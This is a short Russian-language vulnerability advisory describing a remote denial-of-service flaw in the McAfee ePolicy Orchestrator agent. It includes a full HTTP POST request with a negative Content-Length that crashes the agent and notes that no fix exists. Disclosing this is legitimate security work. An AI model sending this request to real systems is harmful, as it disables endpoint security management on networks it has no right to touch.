Удаленный отказ в обслуживании против McAfee ePolicy Orchestrator

Описание: Уязвимость обнаружена в McAfee ePolicy Orchestrator. Удаленный пользователь может аварийно завершить работу агента.

Удаленный пользователь может представить отрицательное значение параметра Content-Length, чтобы вызвать переполнение буфера и аварийно завершить работу целевого агента.

 
POST /spipe/pkg?AgentGuid={}&Source=Agent_3.0.0 HTTP/1.0
Accept: application/octet-stream
Accept-Language: en-us
Content-Type: application/octet-stream
User-Agent: Mozilla/4.0 (compatible; SPIPE/3.0; Windows)
Host: KILL_EPO
Content-Length: -1
Connection: Keep-Alive

URL производителя: http://www.nai.com/us/products/mcafee/antivirus/fileserver/epo.htm

Решение:Способов устранения обнаруженной уязвимости не существует в настоящее время.